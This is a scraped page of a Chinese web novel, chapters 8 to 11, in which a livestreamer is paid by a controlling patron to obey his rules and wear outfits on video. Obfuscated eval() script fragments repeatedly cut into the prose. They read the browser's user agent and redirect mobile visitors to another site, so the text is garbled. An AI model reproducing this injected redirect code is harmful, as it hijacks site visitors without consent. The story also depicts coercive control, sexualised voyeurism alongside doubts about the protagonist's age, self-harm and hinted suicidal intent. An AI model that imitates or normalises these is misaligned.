$(''.inform'').remove(); $(''#content'').append('' 什么要给我寄衣服呢。 一堆问题在宁桑脑内浮现,他找不到答案,只能凭直觉去做。 N:忘记订闹钟了QAQ 0920:生物钟调整正常,以后没有闹钟也能醒。 N:小狗点头.jpg 宁桑以前就发现了,0920喜欢他发小狗的表情包,似乎每次发完,当天晚上0920一进直播间,就会给他打赏大额礼物。 狗? 昨天那个大包裹里,好像是有狗耳朵。 宁桑走到还没收拾的箱子边,找出了浅棕色的小狗耳发箍,拆了戴在脑袋上。 然后用前置拍了张自拍。 他皮肤好,加上一觉睡了这么久,气色也不差,拍出来的照片并不难看。 宁桑满意地将照片发给了0920。 这样总不会还对他生气吧? 宁桑抱着期待,进了卫生间洗漱。 完全没有意识到自己的情绪已经被0920牵着走了。 洗漱完,宁桑出来看着倒扣在桌上的手机,想,要是这个老男人又忽略了他的照片,他就真的要闹了。 0920没有给宁桑闹的机会,他回了两个字,把宁桑置于发火的边缘。 0920:可爱。 N:谢谢哥,我去做早饭啦! 宁桑拉着一张脸走进厨房,对着0920昨天给他发的食谱,看今天早上吃什么。 “水煮蛋两个?”宁桑对白煮蛋的厌恶程度,跟牛奶是差不多的。 N:哥,早上的蛋能换成荷包蛋吗? 0920:不。 宁桑以前是很少听见别人跟他说“不”的,他生下来就家庭幸福,得到什么都是理所应当的,哪能轮到人拒绝他?! 但为了下一笔转账,宁桑只能咬碎牙往里咽,他从冰箱里拿了两个鸡蛋,放到蒸蛋器上煮。 这个蒸蛋器还是岑唯当时给他拿来的,宁桑一次也没用过。 折腾完早餐,时间已经九点了。 “明明就很早嘛。”宁桑把两个剥了壳的鸡蛋,一碗麦片,还有两个包子放到一起,拍了张照发给0920。 视频通话来的时候,宁桑都没什么紧张了。 他按了接通,对着镜头笑了笑:“我没戴美瞳,要现在去戴吗?” 除了梳了下头发,绑了两根麻花辫在耳后,戴了个发箍外,宁桑半点没收拾自己,连衣服都是睡前穿的T恤。 笑话,0920都没开口让他穿那些衣服,他怎么可能自己上赶着去穿。 想起昨晚那件布料稀少的衣服,宁桑在大热天打了个寒颤。 “不用戴。”0920顿了顿说,“你这样比较好看。” 直播间看惯了的夸人话语,忽然从一个男人口中说出来,宁桑竟然有一瞬间的尴尬。 他舀了勺麦片,放进嘴里。 “没有泡牛奶?” “……有的,牛奶看着不明显啦。” 宁桑认为自己的手机摄像头没那么好,加上燕麦本身冲出来就带点乳白色,他赌0920看不出来。 没想到0920直接道:“撒谎是坏习惯。” 宁桑睫毛颤着,他低下头吃燕麦:“我没有撒谎。” “昨天你第一次迟到,我没有罚你。”0920语速不快,宁桑却觉得他的话直直敲在自己心脏上,他本能地察觉到了危险。 “迟到加上撒谎,你觉得自己该被怎么罚呢?” 8. 流血 宁桑觉得自己不该罚。 他是个大活人,又不是0920养的狗! “哥?”宁桑露出害怕的表情,看向屏幕。 那边很安静。 宁桑咬着勺子,另一只手下意识伸向自己的头发,拽下了一根。 “不舒服?”0920开了口,“不要用这种方法缓解情绪。” “我、我只是手痒而已。”宁桑心虚地把手藏到了桌底上。 他想揭过关于惩罚的话题,可也不想顺着0920的话聊他莫名的焦虑。 因为男人不说话,就焦虑到拔头发,这种事宁桑绝不可能承认。 他把那碗没滋没味的麦片吃完,开始吃包子。 包子是岑唯之前包了,冻在他冰箱里的。 虽然和0920指定的包子种类不一样,但宁桑认为这种小细节不重要。 - 徐骁说是休假,期间还是要跑一些宣传通告。 此时他坐在保姆车里,戴着耳机,看屏幕里那个咬肉包子咬得满嘴油光的人。 今早徐骁出门的时候,家里那只小奶狗已经会摇尾巴看他出门了。 路上徐骁看过监控,小狗独自在家还挺安静,他出门后在门口转了几圈,就回了自己窝睡觉了。 徐骁想起当初关注小主播的理由。 他已经有了一只听话的小狗了,那另外发现的呢? 小主播是个脸皮薄的人,虽然很爱钱,但大概率不会对他死缠烂打。 徐骁完全可以直接删了他的好友。 “徐哥,你在看什么啊?”助理带着两杯咖啡上车,瞥见了徐骁的手机屏幕。 里面的人染了一头金发,实在显眼。 徐骁伸手接过黑咖啡:“没什么。” 他说完惩罚后,男声整个人变得很紧张,具体表现在眨眼频率,还有一些小动作上。 徐骁看着男声泛白的手指,想,至少挺有趣的。 他还没有对这个有意思的小东西感到腻味。 - 宁桑直到吃完噎嗓子的两个水煮蛋,都没有听到0920再开口。 “哥?”宁桑试着出声,“我吃饱啦。” “嗯。”那边只传来了这一声,但这个短暂的开麦瞬间,让宁桑捕捉到了另一个人的声音。 0920是和别人待在一起的。 自己这副窝囊委屈的样子,被一个人看到是一回事,要是被人拿去分享嘲笑,宁桑光是想想脑袋就要炸了。 他头上还顶着一个没落下的惩罚,什么都说不了,只能默默生闷气。 “哥?你忙的话我先挂啦。”宁桑找到了出气方式,没等0920回话,他就主动挂断了视频。 看着视频被自己结束,宁桑心里升起奇怪的满足感。 0920好像是真的有事,宁桑洗了碗,在床上打了两圈滚后,他都没发消息过来。 为了保证自己不是被拉黑了,宁桑又点开转账页面看了几次。 结果每次看到那个“骁”字,他眼睛就像被刺到,只能把手机丢到一边。 以前不直播时,宁桑忙着剪视频,忙着回复后台私信,还从来没有像现在这么清闲过。 能做什么呢? 宁桑想了半天,发现除了上网骂徐骁以外,他现在的生活没有任何爱好。 宁桑拽了个抱枕,将脸埋进去,感受着窒息感。 他以前亲密的朋友不多,假期却还是能找到人一块出门玩的。 父母工作忙碌,但很爱他这个儿子,会经常挑时间,一家人去旅游。 宁桑忽然很难过,他有些想家了。 “我的家呢?”他坐了起来,看到的就是床下那堆散乱的衣服。 宁桑是个很爱干净的人,几个月前他想不到自己会在这样的环境里睡觉。 在宁桑要哭出来前,门铃被按响了。 他越过衣服和纸箱去开门。 外面是岑唯,岑唯手里拎着一袋油条包子:“吃早餐了吗?” “吃过了。”宁桑说。 “怎么醒这么早?”岑唯想进屋,宁桑却堵在了门口,不让他进。 他可是放下过豪言壮语,跟岑唯说自己绝不会去擦/边的,等下岑唯看到他屋里的衣服,他都不知道该怎么解释! 岑唯担心地看着宁桑,用他一贯的柔和语气问:“你不会是要在家里烧炭吧?” “没有!”宁桑炸了起来,“钱还没赚够呢,我为什么要去死?” 岑唯听宁桑这么说,放心了些:“要出门走走吗?” 宁桑想起他中午和晚上的食谱,又想到空荡荡的冰箱,岑唯就算不来邀请他出门,他也得去趟市场。 半小时后,穿着黑衣黑裤的宁桑戴着眼镜口罩,和岑唯走在超市货架间。 “你这样打扮像个明星。”岑唯笑着说。 因为露出来的金发,已经有不少人朝宁桑看过来了。 宁桑身高算不上多高,但他身材比例和体态好,手懒懒地往推车上一搭,是很有明星气质。 “来,看镜头。”岑唯举起手机对他说,“我是狗仔,我要来采访你的八卦。” “不是很想配合。”宁桑这么说着,脑袋还是往岑唯的方向转,让他拍了一张。 “昨天你搬回家的箱子里装的是什么?”岑唯还真的采访起了他。 “说了没什么。”宁桑不太会说谎,他低着头,把推车里岑唯放的一堆饼干零食重新排列组合,让它们排排坐。 “萌萌……” 宁桑瞪他。 岑唯顺从地换了个称呼:“小宁,我觉得我们应该算朋友吧?” “唔。”宁桑余光瞥见了五颜六色的软糖区,他伸手,拿了一罐进推车,和岑唯买的零食分开,放在了角落里。 “有事和我说,好吗?”岑唯温声道。 “你一直这样吗?”宁桑没忍住,看了岑唯一眼。 岑唯脱离了直播间的美颜滤镜,长得也绝不算难看,是很容易让人心生好感的那类长相。 和他的性格一样,毫无攻击性。 宁桑不理解岑唯为什么会对他这么好,他现在对他人的恶意和善意都很敏感,也知道岑唯只是单纯想照顾他。 可他不明白。 “嫌我啰嗦啦?”岑唯揉揉宁桑的后脑勺,又发出感叹,“你这发质真好啊,我以前染过几次头,实在太伤头发,后面就没染了。” 宁桑低头躲开了岑唯的手:“不要碰我。” 岑唯本来还想再捏捏宁桑的脸颊,闻言之后收回了手。 “啊,找到了。”他看到了什么,往前几步,从冷冻柜里拿出了一盒蛋糕。 因为想吃这个,岑唯才拉着宁桑来了离公寓五公里远的超市。 冷冻柜里的蛋糕有不少种类,岑唯挑挑拣拣的时候,宁桑趴在推车上发着呆。 想0920的那句“惩罚”。 他想得断断续续,脑子还分了一半出来听外界的声音。 “你今天怎么有空出来吗?不追星吗?”一道女声说。 “你说徐骁的路演?那也得抢得到票啊。”另一道声音抱怨道。 宁桑捕捉到关键词,偏过头,往聊天的两人方向看。 她们背对着宁桑,没有注意到他的视线。 “话说徐骁也是真倒霉,人那么低调,还能莫名其妙上热搜。” “我还去看了眼那个骂他的主播呢,那主播账号已经被封禁了。” “也不至于吧?我看他也没说脏话。” “谁知道呢……” 岑唯买好蛋糕了,宁桑不再听自己的八卦,他推着车往前走。 “我为什么会被封号?”宁桑走出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496890|202558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一段路后,忽然开口问岑唯。 劣迹主播比他多的是,也没见过几个被平台封号的。 “要不我再帮你问问?”岑唯看着宁桑,“你还想直播吗?其实也可以换平台,开个新号的。” “换个号继续被人骂吗?”宁桑笑了下。 “小宁,你为什么不喜欢徐骁啊?”岑唯问。 他以为问完后,会得到宁桑滔滔不绝的吐槽,但身边的人一下安静了。 岑唯看到有试吃,去拿了一小块,拉下宁桑的口罩,放到他嘴边。 试吃的是香辣牛肉,宁桑闻到香味,张嘴咬了下来。 这牛肉还挺辣,刚往下咽,辣味就熏得宁桑眼眶发烫。 “你知道徐骁父母是做什么的吗?”宁桑戴好口罩,闷闷地开了口。 “开公司的?”岑唯对明星八卦不是很关心。 宁桑随手拿起了推车里的蛋糕,指了指盒子上印着的超市图标:“这超市也是他们的。” 这是家很大型的连锁超市,里面卖的东西都是公司自家的生产线出来的。 岑唯听完后也没有意外:“总之挺有钱的。” “嗯,有钱。”宁桑仿佛听到了很好笑的话,嗤笑了一声。 笑完后他就不继续说了:“什么时候回去?” 快到中午了,他还得做饭。 “不在外面吃吗?附近新开了家日料店。”岑唯说,“我请你吃。” 日料听起来比食谱里那堆没滋味的健身餐美味多了,宁桑拿出手机看了眼,0920一直没给他发消息,他刚才发了个表情包,也没得到回复。 “这人有病吧。”宁桑没忍住骂道。 他生了点逆反的心理,想就这么跟着岑唯去吃饭。 但“惩罚”两个字叫他后脑发麻,他要是再迟到或爽约一次,会发生什么? 只是穿点羞耻的衣服还算小事,要是0920提更过分的要求,他是能翻脸还是怎么样? “我不去了。”宁桑说。 回到家,他认命地去洗菜做饭。 经过昨晚那一次,他自信地觉得自己的厨艺没有太大的问题。 只要把握好调味的量就行了。 宁桑大胆地把买来的丝瓜放在案板上,一刀剁了下去。 瓜比青椒老实多了,没有滚开。 开局顺利,宁桑拿着那截瓜,小心地将瓜切成块。 他怕切到手,每一刀都下得很慢,再要切到瓜屁股时,手机铃声响了起来,宁桑手一抖,刀锋擦着指尖划过。 他指甲剪得太短,这一刀直接削到了肉。 溢出的血珠让宁桑愣住了,铃声还在响,他也来不及处理手,趁疼痛感还没泛上来,抓过手机点了接通。 “在做饭了吗?” 听到男人的声音,宁桑才反应过来,这个和平常铃声有些不同的,是微信电话。 “嗯。”宁桑应了一声,走到了水龙头边,开始冲左手手指。 “挺听话的。” “我一直很听话的,嘶……”宁桑吃痛地倒吸了一口气。 “切到手了?” 男人一猜就中,让宁桑很没面子。 他本来还想过耍赖不做饭,但这一句话,就让他莫名想逞强:“没有,我很会做饭。” “昨晚的菜不是咸了吗?” “……你怎么知道?”宁桑见鬼似地说。 他全程都是低着头吃饭的,也没有皱眉喝水,这人怎么看出来的?! “很会做饭?”男人这话说得慢条斯理,宁桑的手本来就在痛,委屈一下涌上心口,语气也少了掩饰:“干嘛?想嘲笑我吗?” 男人没有生气:“把摄像头打开,我看看你的手。” “不要。”宁桑攒着气,他把水流开得更大,自虐般冲洗着伤口。 “听话。” 9. 裙子 宁桑的第一反应是骂人。 你算什么东西,还敢让我听话? 脑子里这么想,他右手却乖乖地切成了视频通话。 这个老男人不配,他的钱还是配的。 视频先是切成了前置,宁桑装作意外的模样,对着镜头歪了歪脑袋,又手忙脚乱地调到了后置摄像头。 水龙头的水还在流,宁桑的指尖都被冲到泛白了。 他关了水,把手凑到了镜头边:“是哥你给我打电话,我就分心了。” 他把锅甩到了0920的脑袋上 “家里有创可贴吗?”0920问。 “没有。”宁桑答得很快,他搬进这里才多久,期间又没有生过病,当然不会备药品。 “和邻居认识吗?去问问有没有,先把伤口处理了。”0920说,“之后得准备常用药在家里。” “知道啦。”宁桑拖着声音说,“那我先挂了?” “嗯。”0920说,“今天晚二十分钟再吃饭吧。” 宁桑刚觉得0920还挺好心,那边紧接着又说:“穿那条蓝色的裙子。” 宁桑:…… 果然还是死变态。 挂完电话,宁桑去了楼上找岑唯。 岑唯一听他切菜切到手,马上拉着他的手腕要去看伤口。 宁桑不喜欢他碰自己,但岑唯力气还不小,他没挣脱掉:“小伤。” 岑唯看到那道已经不再流血的小口子,叹了口气,转身拿药箱:“我早上就想问了,你怎么突然想自己做饭了?以前不都是点外卖的吗?” “省点钱。”宁桑搬出了事先想好的借口。 说这话时岑唯背对着他,也没看出他在心虚撒谎。 贴好创可贴,宁桑带着一盒创可贴回了楼上。 他继续和案板上的食材战斗。 一番努力后,一道虾仁炒丝瓜,一道香煎鸡胸肉,还有一小碗排骨汤,整齐放在了桌子上。 排骨不便宜,宁桑买的时候还肉疼了一下。 昨天那笔转账过后,0920没有再打钱过来,这让宁桑很着急。 想要钱,就得听话讨好,宁桑这回没怎么犹豫,就把0920说的那套裙子换上了。 不知道是码数偏小,还是这裙子本来就不正经,裙摆短得只到宁桑的大腿。 除了裙子外,防尘袋里还有一条白色围裙,比宁桑直播穿的更花里胡哨些,宁桑套好后,站到镜子前看了看自己。 他长相本来就可爱,头发又长,穿裙子并没有什么违和感。 但羞耻感还是一阵一阵往上涌,宁桑扯着裙子下摆,想遮住白皙的腿根。 吃了昨天的教训,宁桑把配饰也戴齐了。 头饰发卡很好戴,袜子也不难穿,但那条不知道是手环还是腿环的布圈,还是让宁桑沉默了半分钟。 从尺寸来看,应该是戴在腿上的。 宁桑坐在床上,抬起一边腿,把腿环往上套,擦过膝盖后,内圈开始摩擦皮肤,宁桑不适应地想躲。 他很讨厌贴着身体的布料。 咬牙把腿环套到裙摆下后,宁桑坐到桌前,拨出了视频通话。 他这么敬业,怎么会只拍个视频? 当然要直播让0920好好看清楚,再给他打笔大的钱,当作精神损失费! 通话很快被接了,宁桑站起来,面对着镜头:“好看吗?哥哥。” “嗯。”0920反应淡淡的,好像对宁桑的女装完全不热衷。 要不是这箱衣服就是他寄的,宁桑还真要给他鼓掌,夸句真君子了。 “吃饭,凉了再吃不好消化。”0920说。 宁桑坐了下来,坐下时腿并在一起,腿环的花边蹭到了另一边的大腿内侧。 宁桑拿筷子的手抖了抖。 他尽量平静地夹起一颗虾仁,放到了嘴里。 宁桑不会处理虾,虾仁买的是超市里处理好的。 他分不清是这虾不新鲜,还是他调料又下错了。 怪味在口腔里蔓延开,宁桑眨巴着大眼睛,艰难地把虾往下咽。 “很难吃?”0920一改昨天的话少风格,净说些宁桑不爱听的话。 “怎么会呢?”宁桑咬着筷子,全方位给0920展示他贴了小猫创可贴的手指。 0920果然关心了他一句:“手还疼吗?” “有一点点。”宁桑扒了一口饭,垂下了睫毛,他想自己现在的表情,应该看起来要多可怜,有多可怜。 要是在直播间摆出这副模样,他此时早收到打赏了。 而0920只是“嗯”了一声。 宁桑不想再看镜头了,他不舒服地扯了扯衣领,换了道菜吃。 鸡胸肉倒没有翻车,虽然味道也说不上太好。 这顿饭宁桑依旧吃得不怎么爽,他很想等待会煮包特辣的火鸡面,补偿自己受伤的味蕾。 可他没有吃夜宵的习惯,因为胃太浅,吃不下。 都怪这些占肚子的难吃东西! 一想到难吃东西出自自己的手,宁桑连骂都不知道怎么骂了。 “等会洗过碗,给我打视频。”0920说完,挂了通话。 宁桑想骂人,刚开了个头,手机就响了两声,提示他有未接收的转账。 “这才对嘛。”宁桑连装矜持都懒得装了,直接点了收款。 怕0920以为他不缺钱。 穿着这身麻烦的衣服洗了碗,宁桑把手机架好,拨了视频过去。 在椅子边直播很奇怪,宁桑的摄像头对准的是床。 他把摄像头调高了些,弯腿坐在床铺上,抬头看手机。 果然人在堕落这条路上的速度,只会快不会慢。 宁桑心里还是很别扭,但想着钱,已经不吝啬给0920展示自己的腿了。 视频过了两分钟才被接通,那边依旧没开摄像头。 宁桑只有一点点好奇0920的长相,他半点不想看。 不知道的时候,宁桑可以催眠自己对面是个二三十岁的男人,要是一打开看到是个过度发福的大叔,他实在不能保证自己还能继续干这种事。 “哥?”宁桑见0920不开口,怯生生地眨了下眼。 “把头发扎起来。”0920说。 宁桑到床头够了根皮筋,要把头发拢到脑后绑起来:“这样不会很奇怪吗?” “不是扎马尾。”可能是宁桑的错觉,他在0920的声音里听到了一丝戏谑,“扎两根小辫子在旁边。” 宁桑嘴角抽了抽:“哥哥的癖好真奇怪呢。” 他随手给自己扎了个半双马尾。 - 路演上午便结束了,徐骁是回家吃的饭。 此时他坐在家里的吧台桌边,手边放了一叠厚厚的剧本,和一杯热水。 看着平板里满脸不爽的男生,他勾了下嘴角。 徐骁没有任何关于女装的兴趣,这些衣服,是他在一个熟人那买的。 对方做的是服装生意,有自己的品牌,但可能是想一出是一出,做的服装风格太多变,销量不怎么好。 所以她的所有疑问,在徐骁这么个大客户的砸钱下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496891|202558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都咽了回去。 那天晚上,听到小主播骂他时,徐骁脑子里就出现了这个计划。 他看得出小主播连穿他直播时那身带围裙的运动服,都会不自在,也不喜欢被人取可爱的昵称。 那徐骁就要让他不痛快。 目前来看,小柠檬确实在生气,又只能乖乖听话。 徐骁指尖有节奏地敲着桌面,想,到底要什么时候,他会完全顺从于自己呢? “哥哥想看我做什么?”男生不情不愿地问。 他可能觉得自己藏得挺好的,只是在徐骁眼里看来,他的笑容怎么看都是勉强挂住的。 “还记得我说了,要惩罚你吗?”徐骁说。 “……嗯。”男生低下脑袋,他把脸藏起来后,手臂和大腿的皮肤就变得显眼起来。 徐骁在娱乐圈早见遍了好看的人,可他想,白到像小柠檬这样的,好像是没几个。 视频应该没有加滤镜,衣服纹理很清楚,皮肤大概也是真的细腻。 细腻到让人想看看,上面多出几点嫣红,会是什么样的风景。 徐骁安静观察着男生的反应,他白皙的手指抓着床单,腿也在不自觉并拢,像在害怕徐骁透过裙底看到什么。 惩罚当然是要让人感到害怕,然后再也不敢犯。 徐骁张了张口,刚要说些什么时,他的视线落到了男生受伤的指尖上。 “汪!”小狗跑到了徐骁脚边,仰起脑袋想找他玩。 徐骁没有打过狗,他知道幼犬害怕的是自己待着,所以每次狗做错了事,徐骁只会把它关在围栏里。 弯腰摸了摸狗柔软的脑袋,再把它叼来的球丢出去。 小狗去追球玩,徐骁看回了屏幕。 小柠檬还垂着脑袋,在等待他的话。 徐骁看着那头金发,想,和狗毛比起来,哪一方的手感更好呢? “现在去热一杯牛奶,我要看着你喝完。”徐骁说。 “就、就这样吗?”男生抬起头,似乎有点不可置信。 “你还想要其他的惩罚吗?”徐骁问。 男生逃下床去热牛奶了,只留给徐骁背影看。 裙子还是太短了,这一转身,徐骁清楚地瞥见了底下的弧线。 他眼底多了些晦暗不明的神色。 可能怕徐骁反悔,不过三分钟,小柠檬就带着热好的牛奶回到了床上。 他用膝盖跪在床铺上,正面直视着镜头。 徐骁看着杯沿抵上他的嘴唇。 杯子上没有留下口红印,看来他的天生嘴唇就红。 白色的奶渍盖过了红,男生紧闭着眼,眉头微微皱着。 徐骁从他的鼻尖看到嘴角,再看他滚动的喉结。 除了骨架小了点外,喉结也比一般男生小。 平台不允许未成年人直播,徐骁只是让唐庆昊封了小柠檬的账号,没有去查他的个人信息。 也不知道他到底是不是自己口中说的十八岁。 这个年纪的男生,会因为什么这么缺钱? 是缺钱,还是纯粹想要钱。 徐骁没在一眼就能望到头的房间里见到什么奢侈品,小柠檬的居住环境,也不是太好。 自己之前给他打了那么多钱,按理说就算直播间被封,他吃喝也不愁了。 徐骁也是试探着给他发了私信,没想到不到一天,就收到了回复。 “我喝完了。” 男生的声音打断了徐骁的思考。 他抱着牛奶杯,坐了下来,一滴牛奶沿着他的唇角,滴到大腿上,再缓缓往内侧流。 10. 认错 宁桑感受到温热的牛奶液体,他抽了张纸巾,低头擦腿上的痕迹。 宁桑买的纸巾都是最柔软的款式,擦在皮肤上,不会带来多少不适,可牛奶黏糊糊的感觉,还是让他撇起了嘴。 这个所谓的惩罚,比他预想的要轻太多,而且食谱上本来就有喝牛奶这一项,早喝晚喝都一样。 “今晚还得再喝一杯,不要忘了。”0920一句话,就让宁桑迅速打消了对他升起来的那一丁点好感。 “嗯,我不会忘的。”宁桑去看镜头,“以后也不会迟到,不要再惩罚我啦。” 他这话说得可怜,宁桑不信男人不心软。 “做错事了,还是要罚。”0920很无情,“你可以尽量不犯错。” 宁桑眼眶红了点,他委屈地想,我凭什么按你的标准做事? 在脑内不断回放转账显示,宁桑压下了心中的怒火,继续乖乖看镜头:“我还要做什么吗?” 总不可能他的直播内容,就是穿条裙子,在这坐着让男人围观吧? 说不定这人真的有这么恶趣味就是了。 “你平常不直播的时候,都做些什么?”0920问。 “跟哥哥你聊天呀。”宁桑笑得眼睛弯起来。 他认为自己给出了标准答案。 “你每天给我发消息的时间,加起来应该不会超过十分钟。” 宁桑笑着咬后槽牙。 我不发消息,难道不是你就不怎么跟我闲聊吗?! 0920一开始给他打赏的时候,宁桑见到他那么大方,是想过在私聊里多说说话,留住这个老板的。 可无论他抛什么话题,0920好像都只对他的一日三餐感兴趣。 唯一比较越界的聊天,是0920问他的身高体重。 宁桑当时随便编了两个数字发过去,当然,身高他直接报高了十厘米。 反正他在直播里也没有站起来过,谁又能知道呢? “我觉比较多。”宁桑又撒娇道,“可能还在长身体。” 这次看来是混过去了,0920没有再纠结这点:“把手机架在旁边,你该干什么就干什么。” “啊?”宁桑感到了不可思议,这算什么,要他直播私下生活? 果然是个死变态。 “我能换回睡衣吗?”宁桑试着问,“这套衣服穿着不是很舒服呢。” “不行。”0920说,“你的问题有点多。” 宁桑笑了一声,是被气笑的。 他不再和0920废话,坐到了电脑桌前,打开了电脑。 手机的角度宁桑调整到只能看到他的背影,是看不见电脑屏幕的。 他点开了一个招聘网站。 说不定真能让他碰上个好工作呢? 0920没出声,安静到宁桑去确认了好几遍,视频还在继续。 不管他了。 宁桑生气地想,他看着屏幕,专心刷了起来。 十分钟后,宁桑泄了气,好像是没有工作,短期內工资能给得比0920大方。 宁桑看向桌角的照片,发起了呆。 - 徐骁的休假,不是在家什么都不做,他看起了手边的剧本。 小主播直播的时候话挺多,可能是怕直播间冷场,话从头到尾就几乎没停过。 但现在,他已经十分钟没说话了。 徐骁从剧本里分了会神,看向他的侧脸。 在难过。 他想。 男生看的方向不是电脑屏幕,徐骁猜不出他是看到了什么,会露出这种表情。 “在做什么?”他开了麦,出声询问。 转向镜头时,徐骁刚才目睹到的情绪瞬间消失,小柠檬笑得很开心:“在发呆,我有点无聊。” “你下个月就要开学了,不用提前看看书吗?”徐骁问完这句话,男生的笑多了几分尴尬。 原来年龄也是撒谎。 徐骁下了结论,没有立马拆穿,而是想看看这个小骗子,会用什么借口骗他。 “我成绩不是很好。”小骗子低头拽着裙角,不看镜头,“没有预习的习惯,而且上大学了,还要预习吗?大学不是能想怎么玩就怎么玩吗?” 裙子的布料不错,没有让男生拽破。 反而把裙摆底下的皮肤磨得透红。 “没有朋友吗?”徐骁问,“平常也不出门玩?” “我要给你直播!”可能是扯不长的裙子让人变得烦躁,小骗子露出了几分张牙舞爪的本性。 “不直播的时候呢?”徐骁不生气,只是想让他把头抬起来,好看他现在是一副怎样的表情。 “你关心我呀?”男生抬头了,让徐骁意外的是,就这么短短数十秒间,他眼睛就变红了。 “小兔子。”徐骁语气平静地说。 - 这句话是在火上浇油。 宁桑差点少爷本性发作,开口叫他滚。 “哥哥很喜欢小动物吗?”宁桑掐着大腿肉冷静了下来,“你头像也是只小狗呢。” “不喜欢。”男人回答了宁桑的问题,顿了顿有说,“不要掐自己。” “你对我的身体占有欲还挺强的。”宁桑有些装不下去了。 以前在直播间,他一次都没有崩过人设,但可能是以前直播间的弹幕太过友好,没有0920这么气人。 0920,似乎比当初在私信里还要讨人厌百倍。 为什么?难道他是因为看到我翻车,被我的人设欺骗了,故意来整我的? 宁桑想不通,他只知道至少这人会给他打钱。 钱在,宁桑就得妥协。 他深呼吸了几下,尽量收拾好情绪:“对不起。” “为什么要道歉?”男人问。 “我刚刚说话不太好听。”宁桑的人生里,极少有需要自我反省的时刻。 他边说边觉得恶心。 “哪里难听了?”男人的语气不是在安慰,而是在引着宁桑说出答案。 宁桑眼角的红意还没褪去,他咬了咬下唇:“你是在关心我,我却以为你别有所图。” 说完,他倒是先好奇起了0920会怎么回他。 总不可能承认他就是别有所图吧? ……不可能吧。 “你没有认识到自己的错误。”男人说。 “哈?”宁桑从喉咙里发出了一声疑问。 除了刚才怼的那句外,他今天难道还有做错什么吗? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496892|202558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宁桑在为人处世方面,实在不算个好学生,他就没有需要听人弦外之音的时候。 就连和王叔他们两口子聊天时,那两人看宁桑一脸学生相,也会把自身的难处和需求,跟宁桑一一说清楚。 “哥哥,我不太聪明。”宁桑破罐子破摔,他气鼓鼓地坐在椅子上,本来想习惯性将脚踩上椅子,想到自己穿的是裙子,只能放弃,保持一个优雅并腿坐姿。 大腿上的腿环还没摘,布料蹭着大腿内侧本就更嫩的皮肤,宁桑只觉得哪哪都不对劲。 “你在直播间装乖的时候,挺聪明的。”男人说。 宁桑干脆扯了个笑容出来:“我没有装呀,那也是我,不是吗?” “不要和我撒谎。”低沉好听的声音,说出来的话却不是宁桑爱听的。 宁桑心道我真撒谎,你难道还能一眼看出来不成? 之前在直播间演了那么久,你不还是照常给我打钱? 但屏幕对面那个人,确实有让他露出破绽的本事。 宁桑不再刺激男人。 “知道自己错在哪里了,不需要好好承认错误吗?” “我错了,我不会再对你撒谎。”宁桑视线又往旁边飘。 “认错态度要诚恳。” “对、不、起。”宁桑这回看镜头了,他字正腔圆念出这三个字。 “嗯。”男人应了声,“还有,我是关心你的身体,你最好照顾好自己。” “我不会。”宁桑指尖绕着自己的头发,又扯了扯脑袋旁边那根小辫子,“没人看着我,我做不到呀。” 撒娇是示好的手段,宁桑从来都是知道怎么让别人喜欢自己的。 “我在监督你。”果然,男人语气松了松,“好了,我还有事。傍晚做饭注意手。” 视频挂断了,宁桑窝在椅子里,回想着这一场直播,他都做了什么。 表现得不怎么样,至少金/主没有给他打钱的意思。 观众已经不在了,宁桑没什么形象地蜷缩起来,抱着腿,额头抵在膝盖上。 浅浅自闭了一会。 重新让他回到人世的,是转账提示音。 0920这回直接给他打了一万。 宁桑收到钱,第一反应竟然不是高兴,他有点小心翼翼地发了个表情包试探。 不是说他犯错吗?为什么还要给他打这么多钱? 表情包没有得到回复,宁桑还是把钱领了,他不让这笔钱在自己手中停留太久,只留了够日常买菜交房租用的,就把剩下的钱一股脑转给了王叔。 住在重症病房,需要的钱只多不少,王叔自然不会说什么。 宁桑在心里又算了算账,他想尽可能再多贴一些钱给王叔他们,这样他才好放心离开。 晚上宁桑依旧穿着身上的裙子,给0920直播吃了一顿晚饭,顺便在他的监督下,喝完了整整一杯牛奶。 洗过澡,站在镜子前洗漱时,宁桑对着盥洗盆干呕了几下。 这几下呛得他眼泪都出来了。 宁桑揉着眼睛回到床上,准备睡觉时,手机弹出了消息提示。 被揉得模糊的视线瞬间吓清晰了。 0920:给我打电话。 0920:监督你睡觉。 11. 梦话 连麦睡觉,在宁桑眼里,是情侣才会做的事情。 还得是恋爱中十分腻歪的情侣。 宁桑大学时有个室友和对象就很恩爱,经常在寝室打视频。 后来宁桑忍无可忍,和他说继续半夜打视频就滚出寝室,那人才不再跟对象连麦睡觉。 0920想干嘛? 宁桑本能地不太想照他的要求做,这样太奇怪了。 